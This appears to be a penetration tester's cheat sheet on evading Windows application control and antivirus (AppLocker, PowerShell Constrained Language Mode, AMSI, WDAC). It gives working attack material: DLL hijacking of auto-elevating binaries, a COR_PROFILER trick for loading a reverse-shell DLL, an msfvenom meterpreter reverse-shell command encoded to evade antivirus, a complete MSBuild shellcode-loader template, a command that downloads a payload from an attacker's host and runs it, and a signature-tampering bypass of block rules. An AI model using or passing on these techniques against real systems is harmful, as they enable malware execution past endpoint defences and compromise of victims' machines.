Evasion & Bypasses

AppLocker

Writable directories in C:\Windows:

  • C:\windows\tasks

Use trusted binaries : https://lolbas-project.github.io/ or find via:

findstr /C:"<autoElevate>true"

Then examine the library load order with procmon and look if you can write in any path where it looks for its libraries. If a path can be written to place a simple DLL there and it will be executed elevated. A nice post about this. Common target binaries:

C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
C:\Windows\SysWOW64\SystemPropertiesComputerName.exe
C:\Windows\SysWOW64\SystemPropertiesHardware.exe
C:\Windows\SysWOW64\SystemPropertiesProtection.exe
C:\Windows\SysWOW64\SystemPropertiesRemote.exe

COR Profile

Create a DLL payload like this reverse shell and run:

set COR_ENABLE_PROFILING=1
COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}
set COR_PROFILER_PATH=<path>/pwn.dll
tzsync

Enumerate AppLocker Rules

This can be important because certain executeable names might be whitelisted!

Get-AppLockerPolicy -effective -xml

PowerShell Constrained Language Mode (CLM)

All Powershell modules in Covenant already bypass AppLocker/CLM via its own PowerShell runspace.

Another options is: https://github.com/p3nt4/PowerShdll.

Also if Powershell v2 is installed we can bypass it too (because it does not support it).

AMSI

AMSI loads Defender (or other AVs) into Powershell , .Net and others. A common bypass is to patch it in memory (it's being loaded as a DLL into a user process).

https://github.com/rasta-mouse/AmsiScanBufferBypass

Process Injection

Shelter https://www.shellterproject.com/download/ can inject shellcode into legit 32-Bit Executables and is likely to not get detected.

MSBuild

Generate payload for msbuild in csharp output format:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f csharp -e x86/shikata_ga_nai -i <num of iterations> > <out>.cs`

Put the buffer into the template (be sure to change payload buffer, buffer size and some strings for av evasion:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes shellcode. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
byte[] shellcode = new byte[195] {};
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>

Download & Execute:

Invoke-WebRequest "http://<ip>:<port>/<payload>.csproj" -OutFile "<outfile>.csproj"; C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe .\<outfile>.csproj

WDAC

Check whether WDAC is enabled with Get-ComputerInfo (last 2 lines, "DeviceGuardCodeIntegrity"). The policies lives in C:\Windows\System32\CodeIntegrity or in the EFI System Partition, it has however no mounted drive by default:

Get-Partition
Get-Partition -PartitionNumber 2 | Set-Partition -NewDriverLetter X
Get-PSDrive
ls X:\EFI\Microsoft\Boot\*p7b

Convert via WDACTools

ConvertTo-WDACCodeIntegrityPolicy -BinaryFilePath binpath - XmlFilePath xmlpath

Then Check if there are some different to the recommendation: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules .

LOLBas has a lot of AWL bypasses, some of these work for code integrity too.

Powershell Scripts are often "Catalog" signed (C:\windows\system32\catroot), a signed list of hashes.

Block rules for scripts are not very robust, small changes will change the hash and let the scripts run.

When we find a binary that uses powershell (and is allowed) we might be able to abuse the powershell module load order and place a malicious powershell file that gets auto loaded.

Bypasses

  • Pubprn.vbs

    • This needs a vulnerable version, Microsoft blocked a lot of versions. What we can do however is to use an old version and remove a newline in the signature if its embedded - this will stay valid signed but the hash changed, bypassing a hash based block

Resources

Device Guard